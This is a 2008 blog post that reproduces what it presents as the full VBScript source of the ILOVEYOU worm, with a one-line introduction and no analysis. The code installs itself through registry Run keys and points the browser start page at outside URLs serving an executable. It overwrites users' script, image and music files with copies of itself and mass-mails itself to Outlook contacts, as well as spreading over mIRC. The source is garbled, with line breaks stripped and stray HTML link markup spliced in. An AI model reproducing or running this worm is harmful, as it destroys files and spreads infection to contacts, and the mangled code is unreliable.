Saturday, November 8, 2008

I LOVE YOU WORM

The ILOVEYOU worm, also known as VBS/Loveletter and Love Bug worm, is a computer worm written in VBScript.
here is the source code of one of the most famous virus the hits cyberspace.


On Error Resume Nextdim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d oweq=""ctr=0Set fso = CreateObject("Scripting.FileSystemObject")set file = fso.OpenTextFile(WScript.ScriptFullname,1)vbscopy=file.ReadAllmain()sub main()On Error Resume Nextdim wscr,rrset wscr=CreateObject("WScript.Shell")rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Windows ScriptingHost\Settings\Timeout")if (rr>=1) thenwscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows ScriptingHost\Settings\Timeout",0,"REG_DWORD"end ifSet dirwin = fso.GetSpecialFolder(0)Set dirsystem = fso.GetSpecialFolder(1)Set dirtemp = fso.GetSpecialFolder(2)Set c = fso.GetFile(WScript.ScriptFullName)c.Copy(dirsystem&"\MSKernel32.vbs")c.Copy(dirwin&"\Win32DLL.vbs")c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")regruns()html()spreadtoemail()listadriv()end subsub regruns()On Error Resume NextDim num,downreadregcreate"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"regcreate"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"downread=""downread=regget("HKEY_CURRENT_USER\Software\Micros oft\InternetExplorer\Download Directory")if (downread="") thendownread="c:\"end ifif (fileexist(dirsystem&"\WinFAT32.exe")=1) thenRandomizenum = Int((4 * Rnd) + 1)if num = 1 thenregcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"elseif num = 2 thenregcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"elseif num = 3 thenregcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"elseif num = 4 thenregcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237 461234iuy7thjg/WIN-BUGSFIX.exe"end ifend ifif (fileexist(downread&"\WIN-BUGSFIX.exe")=0) thenregcreate"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\StartPage","about:blank"end ifend subsub listadrivOn Error Resume NextDim d,dc,sSet dc = fso.DrivesFor Each d in dcIf d.DriveType = 2 or d.DriveType=3 Thenfolderlist(d.path&"\")end ifNextlistadriv = send subsub infectfiles(folderspec)On Error Resume Nextdim f,f1,fc,ext,ap,mircfname,s,bname,mp3set f = fso.GetFolder(folderspec)set fc = f.Filesfor each f1 in fcext=fso.GetExtensionName(f1.path)ext=lcase(ext)s=lcase(f1.name)if (ext="vbs") or (ext="vbe") thenset ap=fso.OpenTextFile(f1.path,2,true)ap.write vbscopyap.closeelseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct")or (ext="hta") thenset ap=fso.OpenTextFile(f1.path,2,true)ap.write vbscopyap.closebname=fso.GetBaseName(f1.path)set cop=fso.GetFile(f1.path)cop.copy(folderspec&"\"&bname&".vbs")fso.DeleteFile(f1.path)elseif(ext="jpg") or (ext="jpeg") thenset ap=fso.OpenTextFile(f1.path,2,true)ap.write vbscopyap.closeset cop=fso.GetFile(f1.path)cop.copy(f1.path&".vbs")fso.DeleteFile(f1.path)elseif(ext="mp3") or (ext="mp2") thenset mp3=fso.CreateTextFile(f1.path&".vbs")mp3.write vbscopymp3.closeset att=fso.GetFile(f1.path)att.attributes=att.attributes+2end ifif (eq<>folderspec) thenif (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or(s="script.ini") or (s="mirc.hlp") thenset scriptini=fso.CreateTextFile(folderspec&"\script.i ni")scriptini.WriteLine "[script]"scriptini.WriteLine ";mIRC Script"scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt,if mIRC will"scriptini.WriteLine " corrupt... WINDOWS will affect and will not runcorrectly. thanks"scriptini.WriteLine ";"scriptini.WriteLine ";Khaled Mardam-Bey"scriptini.WriteLine ";http://www.mirc.com"scriptini.WriteLine ";"scriptini.WriteLine "n0=on 1:JOIN:#:{"scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"scriptini.WriteLine "n2= /.dcc send $nick"&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"scriptini.WriteLine "n3=}"scriptini.closeeq=folderspecend ifend ifnextend subsub folderlist(folderspec)On Error Resume Nextdim f,f1,sfset f = fso.GetFolder(folderspec)set sf = f.SubFoldersfor each f1 in sfinfectfiles(f1.path)folderlist(f1.path)nextend subsub regcreate(regkey,regvalue)Set regedit = CreateObject("WScript.Shell")regedit.RegWrite regkey,regvalueend subfunction regget(value)Set regedit = CreateObject("WScript.Shell")regget=regedit.RegRead(value)end functionfunction fileexist(filespec)On Error Resume Nextdim msgif (fso.FileExists(filespec)) Thenmsg = 0elsemsg = 1end iffileexist = msgend functionfunction folderexist(folderspec)On Error Resume Nextdim msgif (fso.GetFolderExists(folderspec)) thenmsg = 0elsemsg = 1end iffileexist = msgend functionsub spreadtoemail()On Error Resume Nextdim x,a,ctrlists,ctrentries,malead,b,regedit,regv,rega dset regedit=CreateObject("WScript.Shell")set out=WScript.CreateObject("Outlook.Application")set mapi=out.GetNameSpace("MAPI")for ctrlists=1 to mapi.AddressLists.Countset a=mapi.AddressLists(ctrlists)x=1regv=regedit.RegRead("HKEY_CURRENT_USER\Software\M icrosoft\WAB\"&a)if (regv="") thenregv=1end ifif (int(a.AddressEntries.Count)>int(regv)) thenfor ctrentries=1 to a.AddressEntries.Countmalead=a.AddressEntries(x)regad=""regad=regedit.RegRead("HKEY_CURRENT_USER\Software\ Microsoft\WAB\"&malead)if (regad="") thenset male=out.CreateItem(0)male.Recipients.Add(malead)male.Subject = "ILOVEYOU"male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")male.Sendregedit.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead ,1,"REG_DWORD"end ifx=x+1nextregedit.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Ad dressEntries.Countelseregedit.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Ad dressEntries.Countend ifnextSet out=NothingSet mapi=Nothingend subsub htmlOn Error Resume Nextdim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6dta1="LOVELETTER - HTML<?-?TITLE><meta<a href="mailto:NAME=@-@Generator">NAME=@-@Generator</a>@-@ <a href="mailto:CONTENT=@-@BAROK">CONTENT=@-@BAROK</a> VBS - <a href="mailto:LOVELETTER@-@">"&vbcrlf'>LOVELETTER@-@>"&vbcrlf</a>& _"<meta href="mailto:NAME=@-@Author">NAME=@-@Author</a>@-@ <a href="mailto:CONTENT=@-@spyder">CONTENT=@-@spyder</a> ?-? <a href="mailto:ispyder@mail.com">ispyder@mail.com</a> ?-?@GRAMMERSoft Group ?-? Manila, Philippines ?-? March <a href="mailto:2000@-@">"&vbcrlf'>2000@-@>"&vbcrlf</a>& _"<meta href="mailto:NAME=@-@Description">NAME=@-@Description</a>@-@ <a href="mailto:CONTENT=@-@simple">CONTENT=@-@simple</a> but i think this is<a href="mailto:good...@-@">"&vbcrlf'>good...@-@>"&vbcrlf</a>& _"<?-?HEAD><body<a href="mailto:ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM">ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM</a>#-#,#-#main#-#)@-@ "&vbcrlf& _"<a href="mailto:ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM">ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM</a>#-#,#-#main#-#)@-@ <a href="mailto:BGPROPERTIES=@-@fixed">BGPROPERTIES=@-@fixed</a>@-@ <a href="mailto:BGCOLOR=@-@#FF9933@-@">"&vbcrlf'>BGCOLOR=@-@#FF9933@-@>"&vbcrlf</a>& _"<center><p>This HTML file need ActiveX Control<?-?p><p>To Enable to readthis HTML file<br />- Please press #-#YES#-# button to EnableActiveX<?-?p>"&vbcrlf& _"<?-?CENTER><marquee href="mailto:LOOP=@-@infinite">LOOP=@-@infinite</a>@-@<a href="mailto:BGCOLOR=@-@yellow@-@">----------z--------------------z----------BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE</a>>" <a>language=@-@JScript@-@>"&vbcrlf</a>& _"<!--?-??-?"&vbcrlf& _"if (window.screen){var wi=screen.availWidth;varhi=screen.availHeight;window.moveTo(0,0);window.re sizeTo(wi,hi);}"&vbcrlf& _"?-??-?-->"&vbcrlf& _"<?-?SCRIPT>"&vbcrlf& _"<script href="mailto:LANGUAGE=@-@VBScript@-@">"&vbcrlf'>LANGUAGE=@-@VBScript@-@>"&vbcrlf</a>& _"<!--"&vbcrlf& _"on error resume next"&vbcrlf& _"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit "&vbcrlf& _"aw=1"&vbcrlf& _"code="dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _"set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _"code2=replace(code,chr(91)&chr(45)&chr(91),chr(39 ))"&vbcrlf& _"code3=replace(code2,chr(93)&chr(45)&chr(93),chr(3 4))"&vbcrlf& _"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(9 2))"&vbcrlf& _"set wri=fso.CreateTextFile(<a href="mailto:dirsystem&@-@^-^MSKernel32.vbs@-@)">dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf</a>& _"wri.write code4"&vbcrlf& _"wri.close"&vbcrlf& _"if (fso.FileExists(<a href="mailto:dirsystem&@-@^-^MSKernel32.vbs">dirsystem&@-@^-^MSKernel32.vbs</a>@-@)) then"&vbcrlf& _"if (err.number=424) then"&vbcrlf& _"aw=0"&vbcrlf& _"end if"&vbcrlf& _"if (aw=1) then"&vbcrlf& _"document.write @-@ERROR: can#-#t initialize <a href="mailto:ActiveX@-@">ActiveX@-@"&vbcrlf</a>& _"window.close"&vbcrlf& _"end if"&vbcrlf& _"end if"&vbcrlf& _"Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _"regedit.RegWrite@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Ru<a href="mailto:n^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@">n^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf</a>& _"?-??-?-->"&vbcrlf& _"<?-?SCRIPT>"dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")set fso=CreateObject("Scripting.FileSystemObject")set c=fso.OpenTextFile(WScript.ScriptFullName,1)lines=Split(c.ReadAll,vbcrlf)l1=ubound(lines)for n=0 to ubound(lines)lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr( 91))lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr (93))lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr( 37))if (l1=n) thenlines(n)=chr(34)+lines(n)+chr(34)elselines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"end ifnextset b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")b.closeset d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)d.write dt5d.write join(lines,vbcrlf)d.write vbcrlfd.write dt6d.close <br />end sub <br /> <div style='clear: both;'></div> </div> <div class='post-footer'> <div class='post-footer-line post-footer-line-1'> <span class='post-author vcard'> Posted by <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'> <meta content='https://www.blogger.com/profile/17277790014088552472' itemprop='url'/> <a class='g-profile' href='https://www.blogger.com/profile/17277790014088552472' rel='author' title='author profile'> <span itemprop='name'>Unknown</span> </a> </span> </span> <span class='post-timestamp'> at <meta content='http://softwaresontips.blogspot.com/2008/11/i-love-you-worm.html' itemprop='url'/> <a class='timestamp-link' href='https://softwaresontips.blogspot.com/2008/11/i-love-you-worm.html' rel='bookmark' title='permanent link'><abbr class='published' itemprop='datePublished' title='2008-11-08T00:25:00-08:00'>12:25 AM</abbr></a> </span> <span class='post-comment-link'> <a class='comment-link' href='https://www.blogger.com/comment/fullpage/post/6159300763874614468/37159629011331854' onclick=''> No comments: </a> </span> <span class='post-icons'> <span class='item-action'> <a href='https://www.blogger.com/email-post/6159300763874614468/37159629011331854' title='Email Post'> <img alt='' class='icon-action' height='13' src='https://resources.blogblog.com/img/icon18_email.gif' width='18'/> </a> </span> <span class='item-control blog-admin pid-780546430'> <a href='https://www.blogger.com/post-edit.g?blogID=6159300763874614468&postID=37159629011331854&from=pencil' title='Edit Post'> <img alt='' class='icon-action' height='18' src='https://resources.blogblog.com/img/icon18_edit_allbkg.gif' width='18'/> </a> </span> </span> <div class='post-share-buttons goog-inline-block'> </div> </div> <div class='post-footer-line post-footer-line-2'> <span class='post-labels'> </span> </div> <div class='post-footer-line post-footer-line-3'> <span class='post-location'> </span> </div> </div> </div> </div> </div></div> </div> <div class='blog-pager' id='blog-pager'> <span id='blog-pager-newer-link'> <a class='blog-pager-newer-link' href='https://softwaresontips.blogspot.com/' id='Blog1_blog-pager-newer-link' title='Newer Posts'>Newer Posts</a> </span> <span id='blog-pager-older-link'> <a class='blog-pager-older-link' href='https://softwaresontips.blogspot.com/search?updated-max=2008-11-08T00:25:00-08:00&max-results=7' id='Blog1_blog-pager-older-link' title='Older Posts'>Older Posts</a> </span> <a class='home-link' href='https://softwaresontips.blogspot.com/'>Home</a> </div> <div class='clear'></div> <div class='blog-feeds'> <div class='feed-links'> Subscribe to: <a class='feed-link' href='https://softwaresontips.blogspot.com/feeds/posts/default' target='_blank' type='application/atom+xml'>Comments (Atom)</a> </div> </div> </div></div> </div> <div id='sidebar-wrapper'> <div class='sidebar section' id='sidebar'><div class='widget BlogArchive' data-version='1' id='BlogArchive1'> <h2>Blog Archive</h2> <div class='widget-content'> <div id='ArchiveList'> <div id='BlogArchive1_ArchiveList'> <ul class='hierarchy'> <li class='archivedate expanded'> <a class='toggle' href='javascript:void(0)'> <span class='zippy toggle-open'> ▼  </span> </a> <a class='post-count-link' href='https://softwaresontips.blogspot.com/2008/'> 2008 </a> <span class='post-count' dir='ltr'>(10)</span> <ul class='hierarchy'> <li class='archivedate expanded'> <a class='toggle' href='javascript:void(0)'> <span class='zippy toggle-open'> ▼  </span> </a> <a class='post-count-link' href='https://softwaresontips.blogspot.com/2008/11/'> November </a> <span class='post-count' dir='ltr'>(1)</span> <ul class='hierarchy'> <li class='archivedate expanded'> <a class='toggle' href='javascript:void(0)'> <span class='zippy toggle-open'> ▼  </span> </a> <a class='post-count-link' href='https://softwaresontips.blogspot.com/2008_11_08_archive.html'> Nov 08 </a> <span class='post-count' dir='ltr'>(1)</span> <ul class='posts'> <li><a href='https://softwaresontips.blogspot.com/2008/11/i-love-you-worm.html'>I LOVE YOU WORM</a></li> </ul> </li> </ul> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://softwaresontips.blogspot.com/2008/09/'> September </a> <span class='post-count' dir='ltr'>(9)</span> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://softwaresontips.blogspot.com/2008_09_05_archive.html'> Sep 05 </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://softwaresontips.blogspot.com/2008_09_04_archive.html'> Sep 04 </a> <span class='post-count' dir='ltr'>(8)</span> </li> </ul> </li> </ul> </li> </ul> </div> </div> <div class='clear'></div> </div> </div><div class='widget Profile' data-version='1' id='Profile1'> <h2>About Me</h2> <div class='widget-content'> <dl class='profile-datablock'> <dt class='profile-data'> <a class='profile-name-link g-profile' href='https://www.blogger.com/profile/17277790014088552472' rel='author' style='background-image: url(//www.blogger.com/img/logo-16.png);'> Unknown </a> </dt> </dl> <a class='profile-link' href='https://www.blogger.com/profile/17277790014088552472' rel='author'>View my complete profile</a> <div class='clear'></div> </div> </div></div> </div> <!-- spacer for skins that want sidebar and main to be the same height--> <div class='clear'> </div> </div> <!-- end content-wrapper --> <div id='footer-wrapper'> <div class='footer no-items section' id='footer'></div> </div> </div></div> <!-- end outer-wrapper --> <script type="text/javascript" src="https://www.blogger.com/static/v1/widgets/2470821300-widgets.js"></script> <script type='text/javascript'> window['__wavt'] = 'APlU3lzSyr9_YKON4ticqDWKozsO:1774741907035';_WidgetManager._Init('//www.blogger.com/rearrange?blogID\x3d6159300763874614468','//softwaresontips.blogspot.com/2008/11/','6159300763874614468'); _WidgetManager._SetDataContext([{'name': 'blog', 'data': {'blogId': '6159300763874614468', 'title': 'Softwares,Tips \x26amp; Tricks', 'url': 'https://softwaresontips.blogspot.com/2008/11/', 'canonicalUrl': 'http://softwaresontips.blogspot.com/2008/11/', 'homepageUrl': 'https://softwaresontips.blogspot.com/', 'searchUrl': 'https://softwaresontips.blogspot.com/search', 'canonicalHomepageUrl': 'http://softwaresontips.blogspot.com/', 'blogspotFaviconUrl': 'https://softwaresontips.blogspot.com/favicon.ico', 'bloggerUrl': 'https://www.blogger.com', 'hasCustomDomain': false, 'httpsEnabled': true, 'enabledCommentProfileImages': true, 'gPlusViewType': 'FILTERED_POSTMOD', 'adultContent': false, 'analyticsAccountNumber': '', 'encoding': 'UTF-8', 'locale': 'en', 'localeUnderscoreDelimited': 'en', 'languageDirection': 'ltr', 'isPrivate': false, 'isMobile': false, 'isMobileRequest': false, 'mobileClass': '', 'isPrivateBlog': false, 'isDynamicViewsAvailable': true, 'feedLinks': '\x3clink rel\x3d\x22alternate\x22 type\x3d\x22application/atom+xml\x22 title\x3d\x22Softwares,Tips \x26amp; Tricks - Atom\x22 href\x3d\x22https://softwaresontips.blogspot.com/feeds/posts/default\x22 /\x3e\n\x3clink rel\x3d\x22alternate\x22 type\x3d\x22application/rss+xml\x22 title\x3d\x22Softwares,Tips \x26amp; Tricks - RSS\x22 href\x3d\x22https://softwaresontips.blogspot.com/feeds/posts/default?alt\x3drss\x22 /\x3e\n\x3clink rel\x3d\x22service.post\x22 type\x3d\x22application/atom+xml\x22 title\x3d\x22Softwares,Tips \x26amp; Tricks - Atom\x22 href\x3d\x22https://www.blogger.com/feeds/6159300763874614468/posts/default\x22 /\x3e\n', 'meTag': '', 'adsenseClientId': 'ca-pub-9261194922868170', 'adsenseHostId': 'ca-host-pub-1556223355139109', 'adsenseHasAds': true, 'adsenseAutoAds': false, 'boqCommentIframeForm': true, 'loginRedirectParam': '', 'view': '', 'dynamicViewsCommentsSrc': '//www.blogblog.com/dynamicviews/4224c15c4e7c9321/js/comments.js', 'dynamicViewsScriptSrc': '//www.blogblog.com/dynamicviews/400d273b28510d36', 'plusOneApiSrc': 'https://apis.google.com/js/platform.js', 'disableGComments': true, 'interstitialAccepted': false, 'sharing': {'platforms': [{'name': 'Get link', 'key': 'link', 'shareMessage': 'Get link', 'target': ''}, {'name': 'Facebook', 'key': 'facebook', 'shareMessage': 'Share to Facebook', 'target': 'facebook'}, {'name': 'BlogThis!', 'key': 'blogThis', 'shareMessage': 'BlogThis!', 'target': 'blog'}, {'name': 'X', 'key': 'twitter', 'shareMessage': 'Share to X', 'target': 'twitter'}, {'name': 'Pinterest', 'key': 'pinterest', 'shareMessage': 'Share to Pinterest', 'target': 'pinterest'}, {'name': 'Email', 'key': 'email', 'shareMessage': 'Email', 'target': 'email'}], 'disableGooglePlus': true, 'googlePlusShareButtonWidth': 0, 'googlePlusBootstrap': '\x3cscript type\x3d\x22text/javascript\x22\x3ewindow.___gcfg \x3d {\x27lang\x27: \x27en\x27};\x3c/script\x3e'}, 'hasCustomJumpLinkMessage': false, 'jumpLinkMessage': 'Read more', 'pageType': 'archive', 'pageName': '11/01/2008 - 12/01/2008', 'pageTitle': 'Softwares,Tips \x26amp; Tricks: 11/01/2008 - 12/01/2008'}}, {'name': 'features', 'data': {}}, {'name': 'messages', 'data': {'edit': 'Edit', 'linkCopiedToClipboard': 'Link copied to clipboard!', 'ok': 'Ok', 'postLink': 'Post Link'}}, {'name': 'template', 'data': {'isResponsive': false, 'isAlternateRendering': false, 'isCustom': false}}, {'name': 'view', 'data': {'classic': {'name': 'classic', 'url': '?view\x3dclassic'}, 'flipcard': {'name': 'flipcard', 'url': '?view\x3dflipcard'}, 'magazine': {'name': 'magazine', 'url': '?view\x3dmagazine'}, 'mosaic': {'name': 'mosaic', 'url': '?view\x3dmosaic'}, 'sidebar': {'name': 'sidebar', 'url': '?view\x3dsidebar'}, 'snapshot': {'name': 'snapshot', 'url': '?view\x3dsnapshot'}, 'timeslide': {'name': 'timeslide', 'url': '?view\x3dtimeslide'}, 'isMobile': false, 'title': 'Softwares,Tips \x26 Tricks', 'description': '', 'url': 'https://softwaresontips.blogspot.com/2008/11/', 'type': 'feed', 'isSingleItem': false, 'isMultipleItems': true, 'isError': false, 'isPage': false, 'isPost': false, 'isHomepage': false, 'isArchive': true, 'isLabelSearch': false, 'archive': {'year': 2008, 'month': 11, 'rangeMessage': 'Showing posts from November, 2008'}}}]); _WidgetManager._RegisterWidget('_NavbarView', new _WidgetInfo('Navbar1', 'navbar', document.getElementById('Navbar1'), {}, 'displayModeFull')); _WidgetManager._RegisterWidget('_HeaderView', new _WidgetInfo('Header1', 'header', document.getElementById('Header1'), {}, 'displayModeFull')); _WidgetManager._RegisterWidget('_AdSenseView', new _WidgetInfo('AdSense1', 'crosscol', document.getElementById('AdSense1'), {}, 'displayModeFull')); _WidgetManager._RegisterWidget('_BlogView', new _WidgetInfo('Blog1', 'main', document.getElementById('Blog1'), {'cmtInteractionsEnabled': false, 'lightboxEnabled': true, 'lightboxModuleUrl': 'https://www.blogger.com/static/v1/jsbin/2626028960-lbx.js', 'lightboxCssUrl': 'https://www.blogger.com/static/v1/v-css/828616780-lightbox_bundle.css'}, 'displayModeFull')); _WidgetManager._RegisterWidget('_BlogArchiveView', new _WidgetInfo('BlogArchive1', 'sidebar', document.getElementById('BlogArchive1'), {'languageDirection': 'ltr', 'loadingMessage': 'Loading\x26hellip;'}, 'displayModeFull')); _WidgetManager._RegisterWidget('_ProfileView', new _WidgetInfo('Profile1', 'sidebar', document.getElementById('Profile1'), {}, 'displayModeFull')); </script> </body> </html>